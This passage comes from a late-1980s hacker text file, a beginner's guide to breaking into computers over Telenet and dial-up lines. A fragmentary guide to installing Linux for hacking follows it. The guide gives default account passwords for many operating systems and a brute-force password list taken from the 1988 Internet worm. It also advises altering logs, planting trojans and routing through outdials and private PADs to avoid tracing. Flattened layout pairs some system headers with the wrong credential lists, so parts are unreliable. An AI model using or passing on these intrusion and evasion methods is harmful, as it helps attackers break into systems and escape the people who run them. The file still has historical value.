from the Fall '85 busts, and like it will always recover from attempts to shut it down), and the progressive media (from Reality Hackers magazine to William Gibson and Bruce Sterling's cyberpunk fables of hackerdom) is starting to take notice of us for the first time in recent years in a positive light. Unfortunately, it has also gotten more dangerous since the early 80's. Phone cops have more resources, more awareness, and more intelligence that they exhibited in the past. It is becoming more and more difficult to survive as a hacker long enough to become skilled in the art. To this end this file is dedicated . If it can help someone get started, and help them survive to discover new systems and new information, it will have served it's purpose, and served as a partial repayment to all the people who helped me out when I was a beginner. Contents ~~~~~~~~ This file will be divided into four parts: Part 1: What is Hacking, A Hacker's Code of Ethics, Basic Hacking Safety Part 2: Packet Switching Networks: Telenet- How it Works, How to Use it, Outdials, Network Servers, Private PADs Part 3: Identifying a Computer, How to Hack In, Operating System Defaults Part 4: Conclusion- Final Thoughts, Books to Read, Boards to Call, Acknowledgements Part One: The Basics ~~~~~~~~~~~~~~~~~~~~ As long as there have been computers, there have been hackers. In the 50's at the Massachusets Institute of Technology (MIT), students devoted much time and energy to ingenious exploration of the computers. Rules and the law were disregarded in their pursuit for the 'hack'. Just as they were enthralled with their pursuit of information, so are we. The thrill of the hack is not in breaking the law, it's in the pursuit and capture of knowledge. To this end, let me contribute my suggestions for guidelines to follow to ensure that not only you stay out of trouble, but you pursue your craft without damaging the computers you hack into or the companies who own them. I. Do not intentionally damage *any* system. II. Do not alter any system files other than ones needed to ensure your escape from detection and your future access (Trojan Horses, Altering Logs, and the like are all necessary to your survival for as long as possible.) III. Do not leave your (or anyone else's) real name, real handle, or real phone number on any system that you access illegally. They *can* and will track you down from your handle! IV. Be careful who you share information with. Feds are getting trickier. Generally, if you don't know their voice phone number, name, and occupation or haven't spoken with them voice on non-info trading conversations, be wary. V. Do not leave your real phone number to anyone you don't know. This includes logging on boards, no matter how k-rad they seem. If you don't know the sysop, leave a note telling some trustworthy people that will validate you. VI. Do not hack government computers. Yes, there are government systems that are safe to hack, but they are few and far between. And the government has inifitely more time and resources to track you down than a company who has to make a profit and justify expenses. VII. Don't use codes unless there is *NO* way around it (you don't have a local telenet or tymnet outdial and can't connect to anything 800...) You use codes long enough, you will get caught. Period. VIII. Don't be afraid to be paranoid. Remember, you *are* breaking the law. It doesn't hurt to store everything encrypted on your hard disk, or keep your notes buried in the backyard or in the trunk of your car. You may feel a little funny, but you'll feel a lot funnier when you when you meet Bruno, your transvestite cellmate who axed his family to death. IX. Watch what you post on boards. Most of the really great hackers in the country post *nothing* about the system they're currently working except in the broadest sense (I'm working on a UNIX, or a COSMOS, or something generic. Not "I'm hacking into General Electric's Voice Mail System" or something inane and revealing like that.) X. Don't be afraid to ask questions. That's what more experienced hackers are for. Don't expect *everything* you ask to be answered, though. There are some things (LMOS, for instance) that a begining hacker shouldn't mess with. You'll either get caught, or screw it up for others, or both. XI. Finally, you have to actually hack. You can hang out on boards all you want, and you can read all the text files in the world, but until you actually start doing it, you'll never know what it's all about. There's no thrill quite the same as getting into your first system (well, ok, I can think of a couple of bigger thrills, but you get the picture.) One of the safest places to start your hacking career is on a computer system belonging to a college. University computers have notoriously lax security, and are more used to hackers, as every college computer department has one or two, so are less likely to press charges if you should be detected. But the odds of them detecting you and having the personel to committ to tracking you down are slim as long as you aren't destructive. If you are already a college student, this is ideal, as you can legally explore your computer system to your heart's desire, then go out and look for similar systems that you can penetrate with confidence, as you're already familar with them. So if you just want to get your feet wet, call your local college. Many of them will provide accounts for local residents at a nominal (under $20) charge. Finally, if you get caught, stay quiet until you get a lawyer. Don't volunteer any information, no matter what kind of 'deals' they offer you. Nothing is binding unless you make the deal through your lawyer, so you might as well shut up and wait. Part Two: Networks ~~~~~~~~~~~~~~~~~~ The best place to begin hacking (other than a college) is on one of the bigger networks such as Telenet. Why? First, there is a wide variety of computers to choose from, from small Micro-Vaxen to huge Crays. Second, the networks are fairly well documented. It's easier to find someone who can help you with a problem off of Telenet than it is to find assistance concerning your local college computer or high school machine. Third, the networks are safer. Because of the enormous number of calls that are fielded every day by the big networks, it is not financially practical to keep track of where every call and connection are made from. It is also very easy to disguise your location using the network, which makes your hobby much more secure. Telenet has more computers hooked to it than any other system in the world once you consider that from Telenet you have access to Tymnet, ItaPAC, JANET, DATAPAC, SBDN, PandaNet, THEnet, and a whole host of other networks, all of which you can connect to from your terminal. The first step that you need to take is to identify your local dialup port. This is done by dialing 1-800-424-9494 (1200 7E1) and connecting. It will spout some garbage at you and then you'll get a prompt saying 'TERMINAL='. This is your terminal type. If you have vt100 emulation, type it in now. Or just hit return and it will default to dumb terminal mode. You'll now get a prompt that looks like a @. and then it will ask for a Username. From here, type @c mail <cr> Enter 'phones' for the username. When it asks for a password, enter 'phones' again. From this point, it is menu driven. Use this to locate your local dialup, and call it back locally. If you don't have a local dialup, then use whatever means you wish to connect to one long distance (more on this later.) When you call your local dialup, you will once again go through the TERMINAL= stuff, and once again you'll be presented with a @. This prompt lets you know you are connected to a Telenet PAD. PAD stands for either Packet Assembler/Disassembler (if you talk to an engineer), or Public Access Device (if you talk to Telenet's marketing people.) The first description is more correct. Telenet works by taking the data you enter in on the PAD you dialed into, bundling it into a 128 byte chunk (normally... this can be changed), and then transmitting it at speeds ranging from 9600 to 19,200 baud to another PAD, who then takes the data and hands it down to whatever computer or system it's connected to. Basically, the PAD allows two computers that have different baud rates or communication protocols to communicate with each other over a long distance. Sometimes you'll notice a time lag in the remote machines response. This is called PAD Delay, and is to be expected when you're sending data through several different links. What do you do with this PAD? You use it to connect to remote computer systems by typing 'C' for connect and then the Network User Address (NUA) of the system you want to go to. An NUA takes the form of 031103130002520 \___/\___/\___/ | | | | | |____ network address | |_________ area prefix |______________ DNIC This is a summary of DNIC's (taken from Blade Runner's file on ItaPAC) according to their country and network name. DNIC Network Name Country DNIC Network Name Country _______________________________________________________________________________ | 02041 Datanet 1 Netherlands | 03110 Telenet USA 02062 DCS Belgium | 03340 Telepac Mexico 02080 Transpac France | 03400 UDTS-Curacau Curacau 02284 Telepac Switzerland | 04251 Isranet Israel 02322 Datex-P Austria | 04401 DDX-P Japan 02329 Radaus Austria | 04408 Venus-P Japan 02342 PSS UK | 04501 Dacom-Net South Korea 02382 Datapak Denmark | 04542 Intelpak Singapore 02402 Datapak Sweden | 05052 Austpac Australia 02405 Telepak Sweden | 05053 Midas Australia 02442 Finpak Finland | 05252 Telepac Hong Kong 02624 Datex-P West Germany | 05301 Pacnet New Zealand 02704 Luxpac Luxembourg | 06550 Saponet South Africa 02724 Eirpak Ireland | 07240 Interdata Brazil 03020 Datapac Canada | 07241 Renpac Brazil 03028 Infogram Canada | 09000 Dialnet USA 03103 ITT/UDTS USA | 07421 Dompac French Guiana 03106 Tymnet USA | There are two ways to find interesting addresses to connect to. The first and easiest way is to obtain a copy of the LOD/H Telenet Directory from the LOD/H Technical Journal #4 or 2600 Magazine. Jester Sluggo also put out a good list of non-US addresses in Phrack Inc. Newsletter Issue 21. These files will tell you the NUA, whether it will accept collect calls or not, what type of computer system it is (if known) and who it belongs to (also if known.) The second method of locating interesting addresses is to scan for them manually. On Telenet, you do not have to enter the 03110 DNIC to connect to a Telenet host. So if you saw that 031104120006140 had a VAX on it you wanted to look at, you could type @c 412 614 (0's can be ignored most of the time.) If this node allows collect billed connections, it will say 412 614 CONNECTED and then you'll possibly get an identifying header or just a Username: prompt. If it doesn't allow collect connections, it will give you a message such as 412 614 REFUSED COLLECT CONNECTION with some error codes out to the right, and return you to the @ prompt. There are two primary ways to get around the REFUSED COLLECT message. The first is to use a Network User Id (NUI) to connect. An NUI is a username/pw combination that acts like a charge account on Telenet. To collect to node 412 614 with NUI junk4248, password 525332, I'd type the following: @c 412 614,junk4248,525332 <---- the 525332 will *not* be echoed to the screen. The problem with NUI's is that they're hard to come by unless you're a good social engineer with a thorough knowledge of Telenet (in which case you probably aren't reading this section), or you have someone who can provide you with them. The second way to connect is to use a private PAD, either through an X.25 PAD or through something like Netlink off of a Prime computer (more on these two below.) The prefix in a Telenet NUA oftentimes (not always) refers to the phone Area Code that the computer is located in (i.e. 713 xxx would be a computer in Houston, Texas.) If there's a particular area you're interested in, (say, New York City 914), you could begin by typing @c 914 001 <cr>. If it connects, you make a note of it and go on to 914 002. You do this until you've found some interesting systems to play with. Not all systems are on a simple xxx yyy address. Some go out to four or five digits (914 2354), and some have decimal or numeric extensions (422 121A = 422 121.01). You have to play with them, and you never know what you're going to find. To fully scan out a prefix would take ten million attempts per prefix. For example, if I want to scan 512 completely, I'd have to start with 512 00000.00 and go through 512 00000.99, then increment the address by 1 and try 512 00001.00 through 512 00001.99. A lot of scanning. There are plenty of neat computers to play with in a 3-digit scan, however, so don't go berserk with the extensions. Sometimes you'll attempt to connect and it will just be sitting there after one or two minutes. In this case, you want to abort the connect attempt by sending a hard break (this varies with different term programs, on Procomm, it's ALT-B), and then when you get the @ prompt back, type 'D' for disconnect. If you connect to a computer and wish to disconnect, you can type <cr> @ <cr> and you it should say TELENET and then give you the @ prompt. From there, type D to disconnect or CONT to re-connect and continue your session uninterrupted. Outdials, Network Servers, and PADs ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In addition to computers, an NUA may connect you to several other things. One of the most useful is the outdial. An outdial is nothing more than a modem you can get to over telenet- similar to the PC Pursuit concept, except that these don't have passwords on them most of the time. When you connect, you will get a message like 'Hayes 1200 baud outdial, Detroit, MI', or 'VEN-TEL 212 Modem', or possibly 'Session 1234 established on Modem 5588'. The best way to figure out the commands on these is to type ? or H or HELP- this will get you all the information that you need to use one. Safety tip here- when you are hacking *any* system through a phone dialup, always use an outdial or a diverter, especially if it is a local phone number to you. More people get popped hacking on local computers than you can imagine, Intra-LATA calls are the easiest things in the world to trace inexpensively. Another nice trick you can do with an outdial is use the redial or macro function that many of them have. First thing you do when you connect is to invoke the 'Redial Last Number' facility. This will dial the last number used, which will be the one the person using it before you typed. Write down the number, as no one would be calling a number without a computer on it. This is a good way to find new systems to hack. Also, on a VENTEL modem, type 'D' for Display and it will display the five numbers stored as macros in the modem's memory. There are also different types of servers for remote Local Area Networks (LAN) that have many machine all over the office or the nation connected to them. I'll discuss identifying these later in the computer ID section. And finally, you may connect to something that says 'X.25 Communication PAD' and then some more stuff, followed by a new @ prompt. This is a PAD just like the one you are on, except that all attempted connections are billed to the PAD, allowing you to connect to those nodes who earlier refused collect connections. This also has the added bonus of confusing where you are connecting from. When a packet is transmitted from PAD to PAD, it contains a header that has the location you're calling from. For instance, when you first connected to Telenet, it might have said 212 44A CONNECTED if you called from the 212 area code. This means you were calling PAD number 44A in the 212 area. That 21244A will be sent out in the header of all packets leaving the PAD. Once you connect to a private PAD, however, all the packets going out from *it* will have it's address on them, not yours. This can be a valuable buffer between yourself and detection. Phone Scanning ~~~~~~~~~~~~~~ Finally, there's the time-honored method of computer hunting that was made famous among the non-hacker crowd by that Oh-So-Technically-Accurate movie Wargames. You pick a three digit phone prefix in your area and dial every number from 0000 --> 9999 in that prefix, making a note of all the carriers you find. There is software available to do this for nearly every computer in the world, so you don't have to do it by hand. Part Three: I've Found a Computer, Now What? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This next section is applicable universally. It doesn't matter how you found this computer, it could be through a network, or it could be from carrier scanning your High School's phone prefix, you've got this prompt this prompt, what the hell is it? I'm *NOT* going to attempt to tell you what to do once you're inside of any of these operating systems. Each one is worth several G-files in its own right. I'm going to tell you how to identify and recognize certain OpSystems, how to approach hacking into them, and how to deal with something that you've never seen before and have know idea what it is. VMS- The VAX computer is made by Digital Equipment Corporation (DEC), and runs the VMS (Virtual Memory System) operating system. VMS is characterized by the 'Username:' prompt. It will not tell you if you've entered a valid username or not, and will disconnect you after three bad login attempts. It also keeps track of all failed login attempts and informs the owner of the account next time s/he logs in how many bad login attempts were made on the account. It is one of the most secure operating systems around from the outside, but once you're in there are many things that you can do to circumvent system security. The VAX also has the best set of help files in the world. Just type HELP and read to your heart's content. Common Accounts/Defaults: SYSTEM: [username: password [[,password]] ] OPERATOR or MANAGER or SYSTEM or SYSLIB DEC-10- OPERATOR: OPERATOR SYSTEST: UETP SYSMAINT: SYSMAINT or SERVICE or DIGITAL FIELD: FIELD or SERVICE GUEST: GUEST or unpassworded DEMO: DEMO DECNET: DECNET or unpassworded An earlier line of DEC computer equipment, running the TOPS-10 operating system. These machines are recognized by their '.' prompt. The DEC-10/20 series are remarkably hacker-friendly, allowing you to enter several important commands without ever logging into the system. Accounts are in the format [xxx,yyy] where xxx and yyy are integers. You can get a listing of the accounts and the process names of everyone on the system before logging in with the command .systat (for SYstem STATus). that reads [234,1001] If you seen an account BOB JONES, it might be wise to try BOB or JONES or both for a password on this account. .login xxx,yyy To login, you type and then type the password when prompted for it. The system will allow you unlimited tries at an account, and does not keep records of bad login attempts. It will also inform you if the UIC you're trying (UIC = User Identification Code, 1,2 for example) is bad. Common Accounts/Defaults: UNIX- 1,2: SYSLIB or OPERATOR or MANAGER 2,7: MAINTAIN 5,30: GAMES There are dozens of different machines out there that run UNIX. While some might argue it isn't the best operating system in the world, it is certainly the most widely used. A UNIX system will usually have a prompt like 'login:' in lower case. UNIX also will give you unlimited shots at logging in (in most cases), and there is usually no log kept of bad attempts. Common Accounts/Defaults: (note that some systems are case sensitive, so use lower case as a general rule. Also, many times the accounts will be unpassworded, you'll just drop right in!) Prime- root: root admin: admin sysadmin: sysadmin or admin unix: unix uucp: uucp rje: rje guest: guest demo: demo daemon: daemon sysbin: sysbin Prime computer company's mainframe running the Primos operating system. The are easy to spot, as the greet you with 'Primecon 18.23.05' or the like, depending on the version of the operating system you run into. There will usually be no prompt offered, it will just look like it's sitting there. At this point, type 'login <username>'. If it is a pre-18.00.00 version of Primos, you can hit a bunch of ^C's for the password and you'll drop in. Unfortunately, most people are running versions 19+. Primos also comes with a good set of help files. One of the most useful features of a Prime on Telenet is a facility called NETLINK. Once you're inside, type NETLINK and follow the help files. This allows you to connect to NUA's all over the world using the 'nc' command. For example, to connect to NUA 026245890040004, you would type @nc :26245890040004 at the netlink prompt. Common Accounts/Defaults: PRIME PRIME or PRIMOS PRIMOS_CS PRIME or PRIMOS PRIMENET PRIMENET SYSTEM SYSTEM or PRIME NETLINK NETLINK TEST TEST GUEST GUEST GUEST1 GUEST HP-x000- This system is made by Hewlett-Packard. It is characterized by the ':' prompt. The HP has one of the more complicated login sequences around- you type 'HELLO SESSION NAME,USERNAME,ACCOUNTNAME,GROUP'. Fortunately, some of these fields can be left blank in many cases. Since any and all of these fields can be passworded, this is not the easiest system to get into, except for the fact that there are usually some unpassworded accounts around. In general, if the defaults don't work, you'll have to brute force it using the common password list (see below.) The HP-x000 runs the MPE operating system, the prompt for it will be a ':', just like the logon prompt. Common Accounts/Defaults: MGR.TELESUP,PUB User: MGR Acct: HPONLY Grp: PUB MGR.HPOFFICE,PUB unpassworded MANAGER.ITF3000,PUB unpassworded FIELD.SUPPORT,PUB user: FLD, MAIL.TELESUP,PUB user: MAIL, others others unpassworded unpassworded IRIS- MGR.RJE unpassworded FIELD.HPPl89 ,HPPl87,HPPl89,HPPl96 unpassworded MGR.TELESUP,PUB,HPONLY,HP3 unpassworded IRIS stands for Interactive Real Time Information System. It originally ran on PDP-11's, but now runs on many other minis. You can spot an IRIS by the 'Welcome to "IRIS" R9.1.4 Timesharing' banner, and the ACCOUNT ID? prompt. IRIS allows unlimited tries at hacking in, and keeps no logs of bad attempts. I don't know any default passwords, so just try the common ones from the password database below. Common Accounts: MANAGER BOSS SOFTWARE DEMO PDP8 PDP11 ACCOUNTING VM/CMS- The VM/CMS operating system runs in International Business Machines (IBM) mainframes. When you connect to one of these, you will get message similar to 'VM/370 ONLINE', and then give you a '.' prompt, just like TOPS-10 does. To login, you type 'LOGON <username>'. Common Accounts/Defaults are: NOS- AUTOLOG1: AUTOLOG or AUTOLOG1 CMS: CMS CMSBATCH: CMS or CMSBATCH EREP: EREP MAINT: MAINT or MAINTAIN OPERATNS: OPERATNS or OPERATOR OPERATOR: OPERATOR RSCS: RSCS SMART: SMART SNA: SNA VMTEST: VMTEST VMUTIL: VMUTIL VTAM: VTAM NOS stands for Networking Operating System, and runs on the Cyber computer made by Control Data Corporation. NOS identifies itself quite readily, with a banner of 'WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA 1978,1987'. The first prompt you will get will be FAMILY:. Just hit return here. Then you'll get a USER NAME: prompt. Usernames are typically 7 alpha-numerics characters long, and are *extremely* site dependent. Operator accounts begin with a digit, such as 7ETPDOC. Common Accounts/Defaults: $SYSTEM unknown SYSTEMV unknown Decserver- This is not truly a computer system, but is a network server that has many different machines available from it. A Decserver will say 'Enter Username>' when you first connect. This can be anything, it doesn't matter, it's just an identifier. Type 'c', as this is the least conspicuous thing to enter. It will then present you with a 'Local>' prompt. From here, you type 'c <systemname>' to connect to a system. To get a list of system names, type 'sh services' or 'sh nodes'. If you have any problems, online help is available with the 'help' command. Be sure and look for services named 'MODEM' or 'DIAL' or something similar, these are often outdial modems and can be useful! GS/1- Another type of network server. Unlike a Decserver, you can't predict what prompt a GS/1 gateway is going to give you. The default prompt it 'GS/1>', but this is redifinable by the system administrator. To test for a GS/1, do a 'sh d'. If that prints out a large list of defaults (terminal speed, prompt, parity, etc...), you are on a GS/1. You connect in the same manner as a Decserver, typing 'c <systemname>'. To find out what systems are available, do a 'sh n' or a 'sh c'. Another trick is to do a 'sh m', which will sometimes show you a list of macros for logging onto a system. If there is a macro named VAX, for instance, type 'do VAX'. The above are the main system types in use today. There are hundreds of minor variants on the above, but this should be enough to get you started. Unresponsive Systems ~~~~~~~~~~~~~~~~~~~~ Occasionally you will connect to a system that will do nothing but sit there. This is a frustrating feeling, but a methodical approach to the system will yield a response if you take your time. The following list will usually make *something* happen. 1) Change your parity, data length, and stop bits. A system that won't re- spond at 8N1 may react at 7E1 or 8E2 or 7S2. If you don't have a term program that will let you set parity to EVEN, ODD, SPACE, MARK, and NONE, with data length of 7 or 8, and 1 or 2 stop bits, go out and buy one. While having a good term program isn't absolutely necessary, it sure is helpful. 2) Change baud rates. Again, if your term program will let you choose odd baud rates such as 600 or 1100, you will occasionally be able to penetrate some very interesting systems, as most systems that depend on a strange baud rate seem to think that this is all the security they need... 3) Send a series of <cr>'s. 4) Send a hard break followed by a <cr>. 5) Type a series of .'s (periods). The Canadian network Datapac responds to this. 6) If you're getting garbage, hit an 'i'. Tymnet responds to this, as does a MultiLink II. 7) Begin sending control characters, starting with ^A --> ^Z. 8) Change terminal emulations. What your vt100 emulation thinks is garbage may all of a sudden become crystal clear using ADM-5 emulation. This also relates to how good your term program is. 9) Type LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, LOGON, GO, JOIN, HELP, and anything else you can think of. 10) If it's a dialin, call the numbers around it and see if a company answers. If they do, try some social engineering. Brute Force Hacking ~~~~~~~~~~~~~~~~~~~ There will also be many occasions when the default passwords will not work on an account. At this point, you can either go onto the next system on your list, or you can try to 'brute-force' your way in by trying a large database of passwords on that one account. Be careful, though! This works fine on systems that don't keep track of invalid logins, but on a system like a VMS, someone is going to have a heart attack if they come back and see '600 Bad Login Attempts Since Last Session' on their account. There are also some operating systems that disconnect after 'x' number of invalid login attempts and refuse to allow any more attempts for one hour, or ten minutes, or sometimes until the next day. The following list is taken from my own password database plus the database of passwords that was used in the Internet UNIX Worm that was running around in November of 1988. For a shorter group, try first names, computer terms, and obvious things like 'secret', 'password', 'open', and the name of the account. Also try the name of the company that owns the computer system (if known), the company initials, and things relating to the products the company makes or deals with. Password List ============= aaa daniel jester rascal academia danny johnny really ada dave joseph rebecca adrian deb joshua remote aerobics debbie judith rick airplane deborah juggle reagan albany december julia robot albatross desperate kathleen robotics albert develop kermit rolex alex diet kernel ronald alexander digital knight rosebud algebra discovery lambda rosemary alias disney larry roses alpha dog lazarus ruben alphabet drought lee rules ama duncan leroy ruth amy easy lewis sal analog eatme light saxon anchor edges lisa scheme andy edwin louis scott andrea egghead lynne scotty animal eileen mac secret answer einstein macintosh sensor anything elephant mack serenity arrow elizabeth maggot sex arthur ellen magic shark asshole emerald malcolm sharon athena engine mark shit atmosphere engineer markus shiva bacchus enterprise marty shuttle badass enzyme marvin simon bailey euclid master simple banana evelyn maurice singer bandit extension merlin single banks fairway mets smile bass felicia michael smiles batman fender michelle smooch beauty fermat mike smother beaver finite minimum snatch beethoven flower minsky snoopy beloved foolproof mogul soap benz football moose socrates beowulf format mozart spit berkeley forsythe nancy spring berlin fourier napoleon subway beta fred network success beverly friend newton summer bob frighten next super brenda fun olivia support brian gabriel oracle surfer bridget garfield orca suzanne broadway gauss orwell tangerine bumbling george osiris tape cardinal gertrude outlaw target carmen gibson oxford taylor carolina ginger pacific telephone caroline gnu painless temptation castle golf pam tiger cat golfer paper toggle celtics gorgeous password tomato change graham pat toyota charles gryphon patricia trivial charming guest penguin unhappy charon guitar pete unicorn chester hacker peter unknown cigar harmony philip urchin classic harold phoenix utility coffee harvey pierre vicky coke heinlein pizza virginia collins hello plover warren comrade help polynomial water computer herbert praise weenie condo honey prelude whatnot condom horse prince whitney cookie imperial protect will cooper include pumpkin william create ingres puppet willie creation innocuous rabbit winston creator irishman rachmaninoff wizard cretin isis rainbow wombat daemon japan raindrop yosemite dancer jessica random zap Part Four: Wrapping it up! ~~~~~~~~~~~~~~~~~~~~~~~~~~ I hope this file has been of some help in getting started. If you're asking yourself the question 'Why hack?', then you've probably wasted a lot of time reading this, as you'll never understand. For those of you who have read this and found it useful, please send a tax-deductible donation of $5.00 (or more!) in the name of the Legion of Doom to: The American Cancer Society 90 Park Avenue New York, NY 10016 ******************************************************************************** References: 1) Introduction to ItaPAC by Blade Runner Telecom Security Bulletin #1 2) The IBM VM/CMS Operating System by Lex Luthor The LOD/H Technical Journal #2 3) Hacking the IRIS Operating System by The Leftist The LOD/H Technical Journal #3 4) Hacking CDC's Cyber by Phrozen Ghost Phrack Inc. Newsletter #18 5) USENET comp.risks digest (various authors, various issues) 6) USENET unix.wizards forum (various authors) 7) USENET info-vax forum (various authors) Recommended Reading: 1) Hackers by Steven Levy 2) Out of the Inner Circle by Bill Landreth 3) Turing's Man by J. David Bolter 4) Soul of a New Machine by Tracy Kidder 5) Neuromancer, Count Zero, Mona Lisa Overdrive, and Burning Chrome, all by William Gibson 6) Reality Hackers Magazine c/o High Frontiers, P.O. Box 40271, Berkeley, California, 94704, 415-995-2606 7) Any of the Phrack Inc. Newsletters & LOD/H Technical Journals you can find. Acknowledgements: Thanks to my wife for putting up with me. Thanks to Lone Wolf for the RSTS & TOPS assistance. Thanks to Android Pope for proofreading, suggestions, and beer. Thanks to The Urvile/Necron 99 for proofreading & Cyber info. Thanks to Eric Bloodaxe for wading through all the trash. Thanks to the users of Phoenix Project for their contributions. Thanks to Altos Computer Systems, Munich, for the chat system. Thanks to the various security personel who were willing to talk to me about how they operate. Boards: I can be reached on the following systems with some regularity- The Phoenix Project: 512/441-3088 300-2400 baud Hacker's Den-80: 718/358-9209 300-1200 baud Smash Palace South: 512/478-6747 300-2400 baud Smash Palace North: 612/633-0509 300-2400 baud ************************************* EOF ************************************** X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X Another file downloaded from: The NIRVANAnet(tm) Seven & the Temple of the Screaming Electron Taipan Enigma 510/935-5845 Burn This Flag Zardoz 408/363-9766 realitycheck Poindexter Fortran 510/527-1662 Lies Unlimited Mick Freen 801/278-2699 The New Dork Sublime Biffnix 415/864-DORK The Shrine Rif Raf 206/794-6674 Planet Mirth Simon Jester 510/786-6560 "Raw Data for Raw Nerves" X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X Installing & Hacking Linux... All you people that thought you were good hackers, because you could fool dumb sysadmins, and do a bit of social engineering, or hack something by following someones carefully prepared text file. Well you're about to get fucked if you read this text file you will find out that you are a hacker but, the only thing you can do is use someone elses ideas. So with that in From mind here goes. I wrote this text file because i know a lot of people who could benefit from learning to use linux, especially when hacking. First of all you need to get linux installed on your system so goto http://www.redhat.com I would suggest you invest $40 in buying the newest version of RedHat linux this way you will get all the files you want/need on one cd. If you have a problem with paying that price, then contact me and i will ship you a copy for half that price, yes only $20! If you are really cheap (like me :-) you could try and download it, i have gotten it to work before but it's really not worth the wait, i spent a total download time of about 3 days to download all the files i wanted, and if one of the files dosn't work, well you're pretty much fucked. Whatever you decide to do, weather it's purchasing a copy from me or from redhat.com, or being cheap :-) and downloading it, you should read the linux documentation project especially the installation part, it will save you hours of worry. I will touch down very briefly on what you have to do to install linux, but not nearly enough for you to understand the installation. Many people will tell you not to buy RedHat products because they're full of bugs, this is true, and I couldn't agree more, but the bugs are present if you're trying to hack teh box, so in this case just get RedHat Linux, since it's by far the most user friendly and the easiest to install. On the other hand if you are intending to run a sophisticated webserver do NOT get redhat, get something like slackware, or debian linux. If you are planning to use linux to access the net etc... you will need to read the FAQ on compatability at http://www.redhat.com, i currently don't know of any distribution of linux that supports winmodem or any other type of modem that uses windows software to speed it up, these modems are generally those yukky U.S robotics modems. From now on I'm assuming you either purchased RedHat linux from me or from RedHat. O.K lets get started, you will need to partition your harddrive, to do this goto dos and type in fdisk choose no. 4 to view current partitions. If you have one large partition that fills your whole harddrive just reserved for windows then once again you're fucked. all your shit, before performing the steps below. You need to back up Once everything is backed up go to dos yet again and type 8in fdisk, now you need to delete your current partition and set a new primary partition the primary partition should not fill your whole harddrive, leave as much space as you want unpartitioned, this unpartitioned space is what you're going to be putting linux on. So now thats done restore your old windows shit and make sure everything is working nice and dandy. Now pop in your redhat cd in your cd-rom drive, and reboot your system. Follow the instructions until you get to a screen that asks if you wish to use fdisk or disk druid to partition your harddrive, just choose disk druid, now you need to set up a native linux partition i recommdn 500 megs, but if you wanna be fancy put about 800 megs. Now after you have assighned a native linux partition and labeled it / Then you need to assighn swap space, assighn as much as you see fit mine is about 55 megs. It is also a good idea to label your dos partition i label mine /dos this is so i can access files in my dos partition while using linux. Once that is done click on OK and save the partition tables, when you get to the place where you choose what to install. If you have a partition thats more than 600 MB then choose the install everything option at the bottom of the list, if your partition is below 600 MB, then choose everything on the list except the install everything option. If by some chance you just want a very basic setup, this is what i used to run, just choose x-windows, DNS Nameserver, Dial-UP workstation,c++ development, and c development. This will give you everything youneed to compile programs in ,linux, connect to your ISP, run x-windows etc.... X-Windows is a graphical interface for linux it's very very nice it's kinda like windows 95 but it dosn't suck as much, by the way I will be refeering to windows 95 as winblows, for obvious reasons :-). Once everything is installed, it will tr to sonfigure x-windows for you, this is where it actually helps if you know every little chip in your system, if you don't well tehn just guess, but whatever you do don't install Metro-X, just install XFree86 x-server it's better, well after all that shit you will need to install LILO, LILO is a boot manager it allows you to boot into dos, linux and whatever other O/S's you may have lying around in yuor system, once all that is set up, you will be asked if you wish to install a printer or not, figure that part out yourself, it's pretty straight forward, so I'm not gonna waste my time. I wouldn't recommend configuring a LAN unless you know your shit about linux. So once setup is finished , your system will reboot. WOA you just installed linux and you're still alive it's amazing isn't it. So now you should be faced with a prompt that says LILO Boot: you can now press tab for options this will show which operating systems you can boot into. You should ahve the following two choices dos and linux, now since this text file covers linux you would want to boot into linux so at the LILO prompt type in linux or simply press return, since linux is your default operating system. Now you should see a bunch of services starting, this indicates that linux is loading. When you reach the login prompt type in root and use the password you specefied for the setup program earlier. Finally you have redhat linux installed on your system, and hopefully you're still alive, you're still with me RIGHT!!!!! O.K so you have logged in as root, first thing you want to do us shadow your password file I always do thsi because then at least i know a little clueless newbie could never get in my system, to do this type in pwconv. Well thats all you have to do, to me it's a shock that there are so many unshadowed systems on the net when it's so easy to shadow the password file, but i guess ignorance is the satan of all god's people. Well i guess you're like dying to show your friends how k-rad and elite you are, so I guess well better geton to setting up linux to use the net, in other words to dial out to your ISP. O.K heres how you do it. prompt type in startx this will start up x-windows. When you're at the Once x-windows is started, you should see an interface much like windows 95, to the left should be a box named control panel, in the center you should see a window named local-host, this is simply the rootshell just like the one you get when you login. Now to get the modem set up, in the control panel there should be a lot of small icons, goto the 6th one down (modem configuration) choose what com port your modem is on, if you dont know choose SOM 1 it seems to be the default in most computers in gateways i do believe it's COM 2, once thats done, goto the 5th icon down in the control panel (network configuration)and click it, now choose interfaces then goto add, choose ppp as your interface type. Put in your ISP's phone number, and your login and password. Then choose customize, click on networking and click on activate interface at boot time, once this is done goto done and choose to save the configuration. Well thats it simply reboot by typing in reboot and listen to your sweet modem's music. Now that you're connected to your ISP let's go do some surfing, once you're in x-windows, goto start/applications and click on Netscape Navigator. Visit http://www.rootshell.com and run a search for scan, once you're confronted with the search results, go down and find the file named xenolith.tgz download that file. This is a neat little scanner that scans sites for volunerabilities, and I'm basiacly gonna give you a lesson in uncompressing files in linux. Once the file is downloaded goto the dir in which it resides. Since it's a .tgz file we would uncompress it using the following method. Type in gunzip -d xenolith.tgz this will give you xenolith.tar then type in gzip xenolith.tgz this gives you xenolith.tar.gz then type in zcat xenolith.tar.gz | tar xvf - . This will give you a dir called xenolith just cd xenolith and read the README files for installation instructions. I just thought i would include something on uncompressing files because many people ask me for help on the topic. Well I'm getting to the place where I have to think about what i want to put in this text file, well here's something I will include, a section with some useful command, so here goes. To shutdown your computer type in shutdown -h now (your message) to reboot simply type reboot. To compile use gcc filename.c -o filename. To talk to a user type in write username then on the next line write your message, if you don't want people to send you messages type in mesg n. Well i sure hop this guide helped you through getting linux installed if you want to read books on linux and you're cheap like me goto http://www.mcp.com and sighn up for their personal bookshelf, and get reading tons of books for free, it's a hackers dream and all time paradise. Now just as you thought it was over I'm gonna show you a few hacking tricks from linux not really how to hack just some useful commands, so here 